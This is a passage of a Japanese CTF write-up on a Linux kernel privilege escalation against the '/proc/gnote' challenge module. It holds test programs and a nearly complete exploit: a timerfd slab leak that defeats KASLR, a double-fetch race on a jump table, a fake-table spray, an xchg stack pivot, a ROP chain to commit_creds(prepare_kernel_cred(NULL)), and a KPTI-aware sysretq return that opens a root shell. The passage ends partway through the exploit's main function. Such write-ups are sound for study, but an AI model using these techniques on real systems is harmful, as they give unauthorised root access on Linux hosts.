  3. 0xffffffff810d0f1f <kmem_cache_alloc+191>: mov r8,rax
  4. 0xffffffff810d0f22 <kmem_cache_alloc+194>:
  5. jmp 0xffffffff810d0ed2 <kmem_cache_alloc+114>
  6. 0xffffffff810d0f24: xchg ax,ax
  7. 0xffffffff810d0f26: nop WORD PTR cs:[rax+rax*1+0x0]
  8. Guessed arguments:
  9. arg[0]: 0xffff888000151300 --> 0xffff888000151400 --> 0xffff888000151500 --> 0xffff888000151600 --> 0xffff888000151700 --> 0xffff888000151800 (--> ...)
  10. arg[1]: 0x0
  11. arg[2]: 0x100 <-- memsetの引数
  12. //mm/slub.c slab_alloc_node()
  13. if (unlikely(gfpflags & __GFP_ZERO) && object)
  14. memset(object, 0, s->object_size);
  15. slab_post_alloc_hook(s, gfpflags, 1, &object);
  16. return object;

 

slab_alloc_node()では最後に割り当てたスラブオブジェクトを0クリアするのだが

その際のmemset()の引数のs->object_sizeを読めばオブジェクトのサイズを読むことができる

今回はデバッグ結果からスラブオブジェクトのサイズは0x100であることがわかる

 

また、kmem_cache structureにはchar *nameメンバがあり

これを参照することでスラブの名前を見ることができる

今回kmem_cache_alloc()に渡されていた第一引数は0xffff888000090700であり、調べてみると以下のようになる

  1. gdb-peda$ x/20gx 0xffff888000090700
  2. 0xffff888000090700: 0x000000000001eac0 0x0000000040000000
  3. 0xffff888000090710: 0x0000000000000005 0x0000010000000100
  4. 0xffff888000090720: 0x0000000d00000000 0x0000001000000010
  5. 0xffff888000090730: 0x0000000000000010 0x0000000000000001
  6. 0xffff888000090740: 0x0000000000000000 0x0000000800000100
  7. 0xffff888000090750: 0x0000000000000000 0xffffffff81637d6d
  8. 0xffff888000090760: 0xffff888000090860 0xffff888000090660
  9. 0xffff888000090770: 0xffffffff81637d6d 0xffff888000090878
  10. 0xffff888000090780: 0xffff888000090678 0xffff8880001592b8
  11. 0xffff888000090790: 0xffff8880001592a0 0xffffffff81825cc0
  12. gdb-peda$ x/s 0xffffffff81637d6d
  13. 0xffffffff81637d6d: "kmalloc-256"

 

使われるスラブは汎用スラブ"kmalloc-256"であることがわかった(これはサイズが0x100であったことと一致する)

 

 

割当処理は以上である

 


timerfd_release()とRCU

設置したタイマの解放はtimerfd_release()で行われる

  1. static int timerfd_release(struct inode *inode, struct file *file)
  2. {
  3. struct timerfd_ctx *ctx = file->private_data;
  4.  
  5. timerfd_remove_cancel(ctx);
  6.  
  7. if (isalarm(ctx))
  8. alarm_cancel(&ctx->t.alarm);
  9. else
  10. hrtimer_cancel(&ctx->t.tmr);
  11. kfree_rcu(ctx, rcu);
  12. return 0;
  13. }

 

実際にはkfree_rcu()で解放される

kfree_rcu()は実際にはkfree_call_rcu()が直接呼ばれ、すぐに__call_rcu()が呼ばれる

RCUとは参考【9】に依ると

RCU ensures that reads are coherent by maintaining multiple versions of objects and ensuring that they are not freed up until all pre-existing read-side critical sections complete.

ということである

実際のLinuxではそれなりに複雑な処理をしているが、概念的・原理的に概略すると

あるデータを参照(readなど)する側でクリティカルセクションを設け、操作(freeなど)する側では操作の前に同期のための待機を行うというものである

では何を待機するかというと

the trick is that RCU Classic read-side critical sections delimited by rcu_read_lock() and rcu_read_unlock() are not permitted to block or sleep. Therefore, when a given CPU executes a context switch, we are guaranteed that any prior RCU read-side critical sections will have completed. This means that as soon as each CPU has executed at least one context switch, all prior RCU read-side critical sections are guaranteed to have completed, meaning that synchronize_rcu() can safely return.

ということである

クリティカルセクションではコンテクストスイッチが禁止されるため、同期時に操作側がスイッチをし、一周回って自分の番になったらばそれが全てのCPUにおけるクリティカルセクションを終えたことを意味する

実際には割り込みなどもあり得るためここまで単純ではないが、理想的な場合の実装は以上のようになる

 

ということは実際にkfreeが完了するためにはコンテキストスイッチを一周させる必要がある

そのため、今回はsleep(some)することで待つこととする

 

 

 

 

さて、実際にtimerfd_ctxを利用してカーネルシンボルをリークできるか試してみる

テストプログラム

  1. #include<unistd.h>
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include<unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/syscall.h>
  7. #include <sys/mman.h>
  8. #include <sys/timerfd.h>
  9. #include<fcntl.h>
  10. #include<stdio.h>
  11.  
  12. int main(void){
  13. int fd = open("/proc/gnote",O_RDWR);
  14. struct itimerspec timespec = { {0, 0}, {100, 0}};
  15. int tfd = timerfd_create(CLOCK_REALTIME, 0);
  16. unsigned add[2] = {0x1,0x100};
  17. unsigned select[2] = {0x5,0x0};
  18. char buf[256] = "AAAAAAAA";
  19. long long a;
  20. int b;
  21.  
  22. timerfd_settime(tfd, 0, &timespec, 0);
  23. close(tfd); //triger kfree_rcu()
  24. sleep(1);
  25. write(fd,add,sizeof(add));
  26. sleep(1);
  27. write(fd,select,sizeof(select));
  28. sleep(1);
  29. b = read(fd,buf,100);
  30. printf("read bytes: %d\n",b);
  31. if(b<=0){
  32. printf("read failed\n");
  33. return 1;
  34. }
  35. printf("hex: \n");
  36. for(long long *ptr=buf;*ptr!=100/8;++ptr){
  37. a = *ptr;
  38. printf("0x%llx\n",a);
  39. }
  40. printf("\n");
  41.  
  42. return 0;
  43. }

test2の実行結果

  1. / # cd ./dbg
  2. /dbg # ./test2
  3. read bytes: 100
  4. hex:
  5. 0xd9479c22b3ccc8a4
  6. 0x0
  7. 0x0
  8. 0x1c7825f241
  9. 0x1c7825f241
  10. 0xffffffff812f06c0 <-- 注目
  11. 0xffff88800331ca80
  12. 0x0
  13. 0x0
  14. 0x0
  15. 0x0

出てきたアドレスが指すもの

  1. gdb-peda$ x/i 0xffffffff812f06c0
  2. 0xffffffff812f06c0 <timerfd_tmrproc>: nop DWORD PTR [rax+rax*1+0x0]

 

というわけでこれでkernel symbol、ここではtimerfd_tmrproc()のアドレスをリークすることができた

例えKASLRが有効でも_textの先頭からのoffsetは不変であるため、予め静的解析に依ってこのシンボルのoffsetを調べておけば

timerfd_tmrproc()のアドレス - そのoffset によってkernel_baseを求めることができる

 

 

実際に調べてみる

  1. / # cat /proc/kallsyms | grep _text
  2. ffffffff81000000 T _text
  3. / # cat /proc/kallsyms | grep timerfd_tmrproc
  4. ffffffff8115a2f0 t timerfd_tmrproc

timerfd_tmrproc()のkernel内のoffsetは0x15a2f0であることがわかった



なお自前ビルド環境化においては以下のようになった

  1. / # cat /proc/kallsyms | grep _text
  2. ffffffffae200000 T _text
  3. / # cat /proc/kallsyms | grep timerfd_tmrproc
  4. ffffffffae4f06c0 t timerfd_tmrproc
  5. //diff=0x2F06C0

 

 




7: RIPを取る

さて、ここまででRIPを取るおおよその準備ができた

状況を整理する

 

gnote_write()のswitch文はジャンプテーブルを用いてジャンプする

その際に使われる[rbx]*8という値は、他スレッド中で[rbx]の値を変更するループを回すことで任意の値に設定することができる

SMEP有効であるからROPを組む必要があるのだが、そのためにはカーネルベースをリークする必要がある

そのために使用直後のkmalloc-256のスラブオブジェクトを確保してポインタをリークすることでカーネルのアドレスをリークできた

 

その続きを考えていく

ジャンプテーブルはモジュールの.bssセクションに置かれる

自作のfake-ジャンプテーブルはユーザランドのバッファに置く必要があるのだが

本問ではKASLRが一定であるため両者のオフセットは一定ではない

具体的に言うとKASLRではモジュールがロードされるアドレスの下4nibbleが一定であり、その次の3nibbleがrandomizeされる

 

この場合に目的のジャンプテーブルエントリを踏ませるため、"spray"という手法を用いる

これは言ってしまえば、ランダム化されることにより対象エントリが存在し得るアドレス全てに対してエントリを配置してしまうというものである

カーネルモジュールがロードされる最小アドレスは0xffffffffc0000000である

下4nibbleは不変であるため、0xffffffffc0000000~0xfffffffff0000000までで動き得る

よって0x1000~0x10001000までをmmap()でマッピングしその領域にジャンプエントリを置くことでKASLRの影響を無視することができるようになる

 

 

 

 

なおfakeのjmptableは0x1000~0x10001000までをマッピングするのだが

exploitプログラムのベースは通常で0x400b20でありfake jmptableのマッピングと重複してしまう

よってコンパイル時にリンカへのオプションとして

-Wl,--section-start=.note.gnu.build-id=0x40200200

を渡してロードアドレスを飼えてやる

 

 

実際にこのsprayがうまく働くか試してみる

今回は試しにジャンプテーブルのあらゆる部分に0xffffffffc00020d0==gnote_read()のアドレスを置いている

そのため、正常にfakeのjmptableが機能していれば

カーネルパニックが起こる代わりにgnote_read()が呼ばれるはずである

  1. #include<unistd.h>
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4. #include<unistd.h>
  5. #include<fcntl.h>
  6. #include <sys/syscall.h>
  7. #include <sys/mman.h>
  8. #include <sys/timerfd.h>
  9. #include<fcntl.h>
  10. #include<pthread.h>
  11.  
  12. #define FAKE "0x8000200"
  13.  
  14. void* thread_func(void* arg) {
  15. //just repeat xchg $rbx $rax(==0x55555555)
  16. printf("...repeating xchg $rbx $0x55555555\n");
  17. asm volatile("mov $" FAKE ", %%eax\n"
  18. "mov %0, %%rbx\n"
  19. "lbl:\n"
  20. "xchg (%%rbx), %%eax\n"
  21. "jmp lbl\n"
  22. :
  23. : "r" (arg)
  24. : "rax", "rbx"
  25. );
  26. return 0;
  27. }
  28.  
  29. int main(void){
  30. int fd = open("/proc/gnote",O_RDWR);
  31. struct itimerspec timespec = { {0, 0}, {100, 0}};
  32. int tfd = timerfd_create(CLOCK_REALTIME, 0);
  33. unsigned add[2] = {0x1,0x100};
  34. unsigned select[2] = {0x5,0x0};
  35. unsigned mal_switch[2] = {0x0,0x10001};
  36. char buf[256] = "AAAAAAAA";
  37. long long a,kernel_base;
  38. int b;
  39.  
  40. timerfd_settime(tfd, 0, &timespec, 0);
  41. close(tfd); //triger kfree_rcu()
  42. sleep(1);
  43. write(fd,add,sizeof(add));
  44. sleep(1);
  45. write(fd,select,sizeof(select));
  46. sleep(1);
  47. b = read(fd,buf,100);
  48. printf("read bytes: %d\n",b);
  49. if(b<=0){
  50. printf("read failed\n");
  51. return 1;
  52. }
  53. a = ((long long*)buf)[5];
  54. kernel_base = a-0x2f06c0;
  55. printf("kernel _text base: 0x%llx\n",kernel_base);
  56. printf("\n");
  57. //////////////////
  58. #define MAP_SIZE 0x100000
  59. unsigned long *table = mmap((void*)0x1000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  60. sleep(1);
  61. printf("*******************************\n***************************\n");
  62. printf("fake table: %p\n",table);
  63. printf("*******************************\n***************************\n");
  64. for(int j=0;j!=MAP_SIZE/8;++j){
  65. table[j] = 0xffffffffc00020d0; //gnote_read
  66. }
  67.  
  68. printf("Into loop: push any key\n");
  69. fgetc(stdin);
  70.  
  71.  
  72. //////////////////
  73. pthread_t thr;
  74. pthread_create(&thr, 0, thread_func, &mal_switch[0]);
  75.  
  76. for(int ix=0;ix!=100000;++ix){
  77. if(ix%0x100==0)
  78. printf("try :%d\n",ix);
  79. write(fd, mal_switch, sizeof(mal_switch));
  80. }
  81.  
  82. return 0;
  83. }

 

不正なテーブルに飛ばす前にgnote_read()にブレイクポイントを貼って回したところ

93000回目ほどのループでブレイクがかかった

つまり、仕掛けたfake jmptableの示す先にジャンプさせることに成功した

すなわち、RIPを取れたことになる

 

 

 




8: privilege acceleration

ここまででカーネルのベースアドレスがわかっており、しかも任意のアドレスにジャンプすることが可能になっている

 

root権限でシェルを開いてflagを読めるように、権限昇格をする必要がある

参考の【12/13】番目によると

commit_creds(prepare_kernel_cred(NULL));

をするとuid=0にすることができるようである

 

prepare_kernel_cred(NULL);

これは現在のtaskを他の存在するtaskのcredentialのもとで動作させるための関数であるらしい

credentialsが何を指すか詳しくは以下のドキュメントを参照

www.kernel.org

 

この場合は、uid/gid等のことを指していると考えて差し支えない

引数として、新しい代替のcredentialをもつtask_struct structureをとり、新しいcredential(cred structure)を返す

だが引数としてNULLを渡すと以下のような分岐がある

  1. if (daemon)
  2. old = get_task_cred(daemon);
  3. else
  4. old = get_cred(&init_cred);

deamonは引数として取った*task_structである

つまりこれにNULLを渡した時、init_credというタスク(initプロセス)のcredentialを獲得することになる

init_credは以下のように定義されている

  1. struct cred init_cred = {
  2. .usage = ATOMIC_INIT(4),
  3. #ifdef CONFIG_DEBUG_CREDENTIALS
  4. .subscribers = ATOMIC_INIT(2),
  5. .magic = CRED_MAGIC,
  6. #endif
  7. .uid = GLOBAL_ROOT_UID,
  8. .gid = GLOBAL_ROOT_GID,
  9. .suid = GLOBAL_ROOT_UID,
  10. .sgid = GLOBAL_ROOT_GID,
  11. .euid = GLOBAL_ROOT_UID,
  12. .egid = GLOBAL_ROOT_GID,
  13. .fsuid = GLOBAL_ROOT_UID,
  14. .fsgid = GLOBAL_ROOT_GID,
  15. .securebits = SECUREBITS_DEFAULT,
  16. .cap_inheritable = CAP_EMPTY_SET,
  17. .cap_permitted = CAP_FULL_SET,
  18. .cap_effective = CAP_FULL_SET,
  19. .cap_bset = CAP_FULL_SET,
  20. .user = INIT_USER,
  21. .user_ns = &init_user_ns,
  22. .group_info = &init_groups,
  23. };

すなわち、uid/gidがROOTのcredentialが返り値として返されることになる



commit_creds()

色々と処理はしているが、現在のtaskのcredentialを実際に書き換えるのは以下の部分

  1. rcu_assign_pointer(task->real_cred, new);
  2. rcu_assign_pointer(task->cred, new);

関数の最後で古いcredentialsは破棄されている

 

 

結局、prepare_kernel_cred(NULL)によってinitプロセスのcredentialsを獲得し

それをcommit_creds()に渡して現行のタスクに割り当てることで

initプロセスと同等の権限を獲得できるようになるということだ



ROPを組んでroot権限を取る

さて、以上でcommit_creds(prepare_kernel_cred(NULL));をする...★ことで

initプロセスと同じ権限即ちroot権限をプロセスに与えることができることがわかった

以下ではその方法を考えていく

 

まずこのkernelはSMEP有効であるためユーザランドにRIPを持ってくることはできない

(先程fake jmptableをユーザランドに置いたことからも自明なようにSMAPは無効である)

そこでkernel中のgadgetを用いてROPをすることになる

★をするのに必要なことを細分化すると以下のようになる

・rdiにNULLをpush

・prepare_kernel_cred()を呼ぶ

・返り値(initプロセスのcred_struct)をrdiに移す

・commit_creds()を呼ぶ

 

それぞれに対応する、rp++を用いて探したgadgetは以下の通り

***自前環境の場合***

・0xffffffff8107ddf0: pop rdi; ret;

・0xffffffff810b1680: prepare_kernel_cred()

・0xffffffff8102d3af: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (mov rdi,rax;ret;だけのgadgetは見つからなかった)

・0xffffffff810b12a0: commit_creds()

 

 

だがROPをするにはこれらの値やpopする値を置いておくスタックが必要である

このスタックを確保するために、stack pivotという手法を用いる

 

まずjmptable経由で以下のgadgetにjmpする

0xffffffff81006e10: xchg eax, esp ; ret ;

jmptableを経由しているため、raxにはこのgadget自体のアドレスである0xffffffff81006e10が入っている

よってxchgの後にはespに0x81006e10が入ることになる

(32bit演算故に上位32bitは無視される)

 

すなわちこの近辺にスタック領域を確保しておけば、このエリアをスタックとして使用することが可能になる

なおrspではなくespを使用しているのは、0x81006e10がユーザ空間であり権限無しでmmapすることが可能だからである

上に述べたROPgadgetsはこのスタックに置いておくことになる

(なんかこの辺のテクニックはseccompをbypassするときのステージング?と似てる気が個人的にはした)

 

なお言わずもがなスタックは0x8byte alignされている必要があるため

使用するpivotのアドレスも0x8byte alignされているものを選ばなければならない




sysretqを利用してroot権限の状態でシェルを取る

ここまででroot権限を取ることはできた

あとはユーザ空間に戻ってシェルを取るだけである

 

だが、ここまでのROPによってRSP/RBPがともに失われてしまっている

ここで用いるのがsysretq命令である

この辺の説明については参考の【14】番目の記事が詳しい

重要な点だけ引用する

 

syscallのインストラクションをCPUが実行すると、大まかには以下のようなことが行われます。

  1. CPUの現在の実行モードを表すFLAGSレジスタの値をR11レジスタに退避させる
  2. FLAGSレジスタの値をIA32_FMASK MSRレジスタの値でマスクし、CPUがカーネルのコードを実行できるモードへと切り替わる
  3. プログラムカウンターレジスタRIPの値をRCXレジスタに退避させる
  4. プログラムカウンターレジスタRIPに、システムコールハンドラーのアドレスをIA32_LSTAR MSRレジスタから読み込み、システムコールハンドラーへジャンプする

 

上はsyscall命令の処理であり、sysretq命令では逆の処理が行われる

即ちRIPにRCXの値を、EFLAGSにR11の値を代入する処理が行われる

よってこの命令を行う前にRCX/R11の値を任意のものにしておけばsysretqを呼ぶことでRIPを任意のところに設定しつつユーザ空間に勝手に戻ってくれる

 

使用するgadgetは以下のとおりである

***自前環境の場合***

・0xffffffff81068534: sysretq

・0xffffffff815324e5: pop r11 ; ret ;

・0xffffffff81056ca3: pop rcx ; ret ;

 

 

 

 

9: KPTIに関してとsysretq周りのごたごたについて

sysretqでユーザ空間に戻ろうとしたところ

RIPをシェルを呼び出す関数まで持っていくことはできたし

レジスタの値もおおよそ正しそうであったのにセグフォが起きた

(ちなみにgdbであタッチした状態だとセグフォじゃなくページフォルトが起き、ページフォルトの処理でもフォルトしてkernelが落ちた)

 

ということで参考の【13】番目のるくすさんの記事を参考にして

sysretqではなくiretqで返ることを試みた

だがこれも結局変わらずセグフォになってしまった

 

 

いろいろ調べてみた結果

参考【13】番のるくすさんの記事は2017年に書かれたものである

だがMeltdownの発見に伴うKPTI(Kernel Page Table Isolation)が実装されたカーネル ver4.15が2018年1月にリリースされた

それに伴い、ユーザ空間とカーネル空間で参照するページディレクトリが異なるようになった

具体的にはユーザ空間から見るとカーネル空間はマッピングされておらず

カーネル空間から見るとユーザ空間はマッピングこそされているものの、non-executableとしてマッピングされている

そのため記事のとおりにCS/SSを退避させた値のままユーザ空間の関数に戻ってもセグフォが起きてしまう

(kernelのページディレクトリから見ているためnon-executableを実行することになる)

 

そこでswapgs/iretq(sysretq)をする前にor CR3, 0x1000をする必要がある

この処理を行ってくれるのが以下のswapgs_restore_regs_and_return_to_usermodeマクロである

 

  1. GLOBAL(swapgs_restore_regs_and_return_to_usermode)
  2. #ifdef CONFIG_DEBUG_ENTRY
  3. /* Assert that pt_regs indicates user mode. */
  4. testb $3, CS(%rsp)
  5. jnz 1f
  6. ud2
  7. 1:
  8. #endif
  9. POP_REGS pop_rdi=0
  10.  
  11. /*
  12. * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
  13. * Save old stack pointer and switch to trampoline stack.
  14. */
  15. movq %rsp, %rdi
  16. movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
  17.  
  18. /* Copy the IRET frame to the trampoline stack. */
  19. pushq 6*8(%rdi) /* SS */
  20. pushq 5*8(%rdi) /* RSP */
  21. pushq 4*8(%rdi) /* EFLAGS */
  22. pushq 3*8(%rdi) /* CS */
  23. pushq 2*8(%rdi) /* RIP */
  24.  
  25. /* Push user RDI on the trampoline stack. */
  26. pushq (%rdi)
  27.  
  28. /*
  29. * We are on the trampoline stack. All regs except RDI are live.
  30. * We can do future final exit work right here.
  31. */
  32.  
  33. SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
  34.  
  35. /* Restore RDI. */
  36. popq %rdi
  37. SWAPGS
  38. INTERRUPT_RETURN

 

(おそらく)このマクロから生成されるアセンブラが以下のものである

  1. 0xffffffff81c00116 <+246>: mov %cr3,%rdi
  2.  
  3. 0xffffffff81c00119 <+249>: jmp 0xffffffff81c0014f <entry_SYSCALL_64+303>
  4.  
  5. 0xffffffff81c0011b <+251>: mov %rdi,%rax
  6.  
  7. 0xffffffff81c0011e <+254>: and $0x7ff,%rdi
  8.  
  9. 0xffffffff81c00125 <+261>: bt %rdi,%gs:0x22856
  10.  
  11. 0xffffffff81c0012f <+271>: jae 0xffffffff81c00140 <entry_SYSCALL_64+288>
  12.  
  13. 0xffffffff81c00131 <+273>: btr %rdi,%gs:0x22856
  14.  
  15. ---Type to continue, or q to quit---
  16. 0xffffffff81c0013b <+283>: mov %rax,%rdi
  17. 0xffffffff81c0013e <+286>: jmp 0xffffffff81c00148 <entry_SYSCALL_64+296>
  18. 0xffffffff81c00140 <+288>: mov %rax,%rdi
  19. 0xffffffff81c00143 <+291>: bts $0x3f,%rdi
  20. 0xffffffff81c00148 <+296>: or $0x800,%rdi
  21. 0xffffffff81c0014f <+303>: or $0x1000,%rdi
  22. 0xffffffff81c00156 <+310>: mov %rdi,%cr3
  23. 0xffffffff81c00159 <+313>: pop %rax
  24. 0xffffffff81c0015a <+314>: pop %rdi
  25. 0xffffffff81c0015b <+315>: pop %rsp
  26. 0xffffffff81c0015c <+316>: swapgs
  27. 0xffffffff81c0015f <+319>: sysretq

 

途中のjmpも考慮すると、先頭からの実行は以下の流れになる

  1. 0xffffffff81c00116 <+246>: mov %cr3,%rdi
  2. 0xffffffff81c0014f <+303>: or $0x1000,%rdi
  3.  
  4. 0xffffffff81c00156 <+310>: mov %rdi,%cr3
  5.  
  6. 0xffffffff81c00159 <+313>: pop %rax
  7.  
  8. 0xffffffff81c0015a <+314>: pop %rdi
  9.  
  10. 0xffffffff81c0015b <+315>: pop %rsp
  11.  
  12. 0xffffffff81c0015c <+316>: swapgs
  13.  
  14. 0xffffffff81c0015f <+319>: sysretq

これによって参照するページディレクトリをユーザ空間のそれに変更することができ

セグフォすることなくちゃんとexecutableなページとして参照することができる

 

 

 

 

ちなみにちょっとした小話だが

この辺りの命令をobjdumpでみると次のようになった

  1. 4976861-ffffffff81c00143: 48 0f ba ef 3f bts $0x3f,%rdi
  2. 4976862-ffffffff81c00148: 48 81 cf 00 08 00 00 or $0x800,%rdi
  3. 4976863-ffffffff81c0014f: 48 81 cf 00 10 00 00 or $0x1000,%rdi
  4. 4976864-ffffffff81c00156: 0f 22 df mov %rdi,%cr3
  5. 4976865-ffffffff81c00159: 58 pop %rax
  6. 4976866-ffffffff81c0015a: 5f pop %rdi
  7. 4976867-ffffffff81c0015b: 5c pop %rsp
  8. 4976868-ffffffff81c0015c: ff 25 a6 9f 83 00 jmpq *0x839fa6(%rip) # ffffffff8243a108 <pv_cpu_ops+0xe8>
  9. 4976869-ffffffff81c00162: 0f 1f 40 00 nopl 0x0(%rax)
  10. 4976870-ffffffff81c00166: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
  11. 4976871-ffffffff81c0016d: 00 00 00
  12. 4976872-
  13. 4976873-ffffffff81c00170 <__switch_to_asm>:
  14. 4976874-ffffffff81c00170: 55 push %rbp

(最初の番号はgrepによるものである)

0xffffffff81c0015cにおける命令がgdbのそれと異なっている

gdbでこのバイトコードを見てみると

  1. 0xffffffff81c0015c <entry_SYSCALL_64+316>: 0x0f 0x01 0xf8 0x48 0x0f 0x07 0x0f 0x1f

 

やはり命令の解釈とか以前に、バイトコード自体が異なっている

おそらく文脈的にgdbのほうが正しいのだが・・・

 

 

 

10: exploitの手順まとめ

さて、ここまででexploitの手順は全て揃った

些か長い説明になった上に

あいだあいだにソースの説明などが入ったため冗長になってしまった

今一度exploitの手順をおさらいしておく

 

まずgnote_read()の脆弱性を利用して初期化されていない領域を読み込んだ

即ち、timerfd_ctx構造体として確保されていたkmalloc-256スラブからオブジェクトを再び確保することで、この構造体が含んでいた関数ポインタをleakしkernelのベースアドレスをleakした

 

次にgnote_write()のswitchには脆弱性があった

僅か1命令の間に[rbx]の値が別スレッドにて書き換えられていれば不正な位置をjmp tableとして扱うことができるようになる

 

そこでKASLRのゆらぎも考慮して可能性のあるユーザ空間の領域全てにjmp tableのエントリをsprayしておいた

SMEP有効故にユーザ空間にシェルコードを置いておくことはできないから、エントリにはpivotのアドレスを使う

これでESPがユーザ空間を指すようにし、ROPの準備をする

 

ROPではcommit_creds(kernel_prepare_cred(NULL));をすることでinitプロセスの権限を取得する

その後はRCX/R11の値を調整し、or cr3,0x1000; swapgs; sysretq; によってユーザ空間に戻る

最後にその状態でシェルを開けば終了である

 



なおfake jmptableとしてマッピングするアドレスは当初0x1000からを考えていたが
この部分をmmap()するとpermission deniedになるので
0x10000からの領域をmmap()することにした

 

 

 

 

11: exploit

自前環境でのオフセットを採用している

自前環境と配布環境ではそれ以外の際はないため、オフセットさえ変更すれば配布環境にも使える

そんなに面倒なことではないが、力尽きたのとやる意味もないので省略する

なお以下のexploitは参考の【1】番目に殆どを依っているので悪しからず

 

  1. //exploit1.c
  2. //
  3. //Makefile
  4. //gcc ./exploit1.c -o exploit1 -static -pthread -Wl,--section-start=.note.gnu.build-id=0x40200200
  5.  
  6.  
  7. #include<unistd.h>
  8. #include<stdio.h>
  9. #include<stdlib.h>
  10. #include<unistd.h>
  11. #include<fcntl.h>
  12. #include<errno.h>
  13. #include <sys/syscall.h>
  14. #include <sys/mman.h>
  15. #include <sys/timerfd.h>
  16. #include<fcntl.h>
  17. #include<pthread.h>
  18.  
  19. #define FAKE "0x8000200"
  20. unsigned long long user_cs,user_ss,user_rflags;
  21.  
  22.  
  23. void* thread_func(void* arg) {
  24. //just repeat xchg $rbx $rax(==0xFAKE)
  25. printf("...repeating xchg $rbx, \n");
  26. asm volatile("mov $" FAKE ", %%eax\n"
  27. "mov %0, %%rbx\n"
  28. "lbl:\n"
  29. "xchg (%%rbx), %%eax\n"
  30. "jmp lbl\n"
  31. :
  32. : "r" (arg)
  33. : "rax", "rbx"
  34. );
  35. return 0;
  36. }
  37.  
  38. void get_shell(void)
  39. {
  40. char *v[] = {"/bin/sh",0};
  41. execve(v[0],v,0);
  42. }
  43.  
  44. static void save_state(void) {
  45. asm(
  46. "movq %%cs, %0\n"
  47. "movq %%ss, %1\n"
  48. "pushfq\n"
  49. "popq %2\n"
  50. : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
  51. }
  52.  
  53. int main(void){
  54. int fd = open("/proc/gnote",O_RDWR);
  55. struct itimerspec timespec = { {0, 0}, {100, 0}};
  56. int tfd = timerfd_create(CLOCK_REALTIME, 0);
  57. unsigned add[2] = {0x1,0x100};
  58. unsigned select[2] = {0x5,0x0};
  59. unsigned mal_switch[2] = {0x0,0x10001};
  60. char buf[256] = "AAAAAAAA";
  61. unsigned long long a,kernel_base;
  62. int b;
  63. unsigned long long stack;
  64.  
  65. unsigned long long f = 0xffffffff81000000; //kernel base when nokaslr
  66. unsigned long long pop_rdi = 0xffffffff8107ddf0-f;// pop rdi; ret;
  67. unsigned long long prepare = 0xffffffff810b1680-f;// prepare_kernel_cred()
  68. unsigned long long mov_rdi_rax = 0xffffffff8102d3af-f; //mov rdi, rax ; rep movsq ; pop rbp ; ret ;
  69. unsigned long long commit = 0xffffffff810b12a0-f; //commit_creds()
  70. unsigned long long pivot = 0xffffffff81006e10-f; //xchg eax, esp ; ret ;
  71. //unsigned long long sysretq = 0xffffffff81068534-f; //sysretq
  72. unsigned long long sysretq = 0xffffffff81c00116-f; //mov %r3,%rdi;or $0x1000,%rdi; pop rax; pop rdi; pop rsp; swapgs; sysretq;
  73. unsigned long long pop_r11 = 0xffffffff815324e5-f; //pop r11 ; ret ;
  74. unsigned long long pop_rcx = 0xffffffff81056ca3-f; // pop rcx ; ret ;
  75. //unsigned long long iretq = 0xffffffff8103552b-f; //iretq
  76. //unsigned long long swapgs = 0xffffffff810679b4-f;// swapgs ; pop rbp ; ret
  77. unsigned long long* rop;
  78.  
  79. /*************************
  80. leak kernel base
  81. ************************/
  82. timerfd_settime(tfd, 0, &timespec, 0);
  83. close(tfd); //triger kfree_rcu()
  84. sleep(1);
  85. write(fd,add,sizeof(add));
  86. sleep(1);
  87. write(fd,select,sizeof(select));
  88. sleep(1);
  89. b = read(fd,buf,100);
  90. printf("read bytes: %d\n",b);
  91. if(b<=0){
  92. printf("read failed\n");
  93. return 1;
  94. }
  95. a = ((long long*)buf)[5];
  96. kernel_base = a-0x2f06c0;
  97. printf("kernel _text base: 0x%llx\n",kernel_base);
  98. printf("\n");
  99.  
  100. /**********************
  101. map fake jmptable pointing to pivot
  102. **********************/
  103. #define MAP_SIZE 0x400000
  104. unsigned long long *table = mmap((void*)0x10000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  105. if(table == -1){
  106. printf("fail: mapping jmp table: errno=%d\n",errno);
  107. exit(0);
  108. }
  109. sleep(1);
  110. printf("*******************************\n***************************\n");
  111. printf("fake table: %p ~ %p\n pointing to %p\n",table,table+MAP_SIZE,pivot+kernel_base);
  112. printf("*******************************\n***************************\n");
  113. printf("writing jmp entries into jmptable\n");
  114. for(int j=0;j!=MAP_SIZE/8;++j){
  115. if(j%0x1000==0)
  116. printf(" ~%p\n",0x10000+j*8);
  117. table[j] = pivot + kernel_base;
  118. }
  119.  
  120. /*********************
  121. map fake stack
  122. **********************/
  123. stack = ((pivot + kernel_base)&0xffffffff);
  124. printf("stack @ %p ~ %p\n",(stack-0x10000)&~0xfff,((stack-0x10000)&~0xfff)+0x20000);
  125. mmap((stack-0x10000)&~0xfff,0x20000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  126. printf("get_shell @ %p\n",&get_shell);
  127. printf("*******************\n\n");
  128. /********************
  129. save state
  130. ********************/
  131. save_state();
  132.  
  133.  
  134. /******************
  135. place ROP gad
  136. ******************/
  137. rop = stack;
  138. *rop++ = pop_rdi + kernel_base;
  139. *rop++ = 0;
  140. *rop++ = prepare + kernel_base;
  141. *rop++ = mov_rdi_rax + kernel_base;
  142. *rop++ = 0; //because of mov_rdi_rax gadget containing "pop rbp"
  143. *rop++ = commit + kernel_base; //accelerate privilege
  144. *rop++ = pop_rcx + kernel_base;
  145. *rop++ = &get_shell;
  146. *rop++ = pop_r11 + kernel_base;
  147. *rop++ = 0x202;
  148. *rop++ = sysretq + kernel_base;
  149. *rop++ = 0x0;
  150. *rop++ = 0x0;
  151. *rop++ = stack;
  152.  
  153. /********************
  154. dive into loop and jmp to fake jmptable
  155. *********************/
  156.  
  157. printf("Into loop: push any key\n");
  158. fgetc(stdin);
  159.  
  160.  
  161. pthread_t thr;
  162. pthread_create(&thr, 0, thread_func, &mal_switch[0]);
  163.  
